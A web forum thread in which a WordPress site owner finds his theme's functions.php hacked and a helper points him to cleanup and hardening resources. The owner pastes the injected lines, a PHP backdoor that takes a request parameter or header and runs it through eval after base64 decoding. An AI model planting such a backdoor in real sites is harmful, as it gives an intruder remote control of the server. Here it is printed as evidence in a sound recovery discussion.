Haven't been on the site for a while been really busy. Same reason for not doing any upgrades -- moving, new job, two major IT projects plus misc ...

Yesterday I went onto my site (www.fromtheranks.com) to retrieve a post on Testing 101 and found I couldn't access it, at all. I get the following error:

"Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /hermes/bosoraweb072/b1380/ipg.fromtherankscom/ftr-it/wp-content/themes/atahualpa364/functions.php on line 143"

It was working fine until, apparently, IPage did an upgrade of some sort and broke my site badly.

I touched base with them and they are taking zero responsibility for the problem blaming me and insisting I upgrade everything -- time for a new host I think. (Not a bad idea to upgrade but finding the time is impossible right now. Being an IT Guy I know better than to blame the customer. Bad form. Really bad form.)

Anyone have a fix for this? I looked at functions.php and it seems fine to me but then again I'm not a php guru.

My first suspicion is you have been hacked. What are the first three lines function.php

Nice to hear from you again Juggledad. Thanks for picking this up. Here's the first three lines directly off my site:

<?php
$izland=array_merge($_REQUEST,$_COOKIE,$_SERVER);
$azland=isset($izland["landingzz"])?$izland["landingzz"]isset($izland["HTTP_LANDINGZZ"])?$izland["HTTP_LANDINGZZ"]:"");
if ($azland!=""){eval(strrev(base64_decode(strrev($az land))));}
?><?php
$bfa_ata_version = "3.6.4";

Taking your hint, I assume this is what it should look like?

<?php
$bfa_ata_version = "3.6.4";

That was it, it was altered. The three lines in the earlier reply, plus the ones below were indeed altered. For the life of me I can't think of what the point would be but my site is up again.
From:
// Escape single & double quotes
function bfa_escape($string) {
$string = str_replace('"', '"', $string); <-- the &#34 was deleted
$string = str_replace("'", ''', $string); <-- the &#39 was deleted
return $string;

Thanks for your help. No doubt I'll be needing more once I start walking through all the upgrade steps. Sigh.

bad news, you have been hacked. Those lines at the beginning of function.php are the evidence.

you need to plug the hack or you will get hacked again

You need to start working your way through these resources:
http://codex.wordpress.org/FAQ_My_site_was_hacked
http://wordpress.org/support/topic/268083#post-1065779
http://smackdown.blogsblogsblogs.com...-installation/
http://ottopress.com/2009/hacked-wordpress-backdoors/

Additional Resources:
Hardening WordPress
http://sitecheck.sucuri.net/scanner/
http://www.unmaskparasites.com/
http://blog.sucuri.net/2012/03/wordp...erability.html
http://blog.sucuri.net/2010/07/under...wordpress.html

Thank you Jugglehead. I guess this is what I'll be doing over my Christmas vacation.

Happy Holidays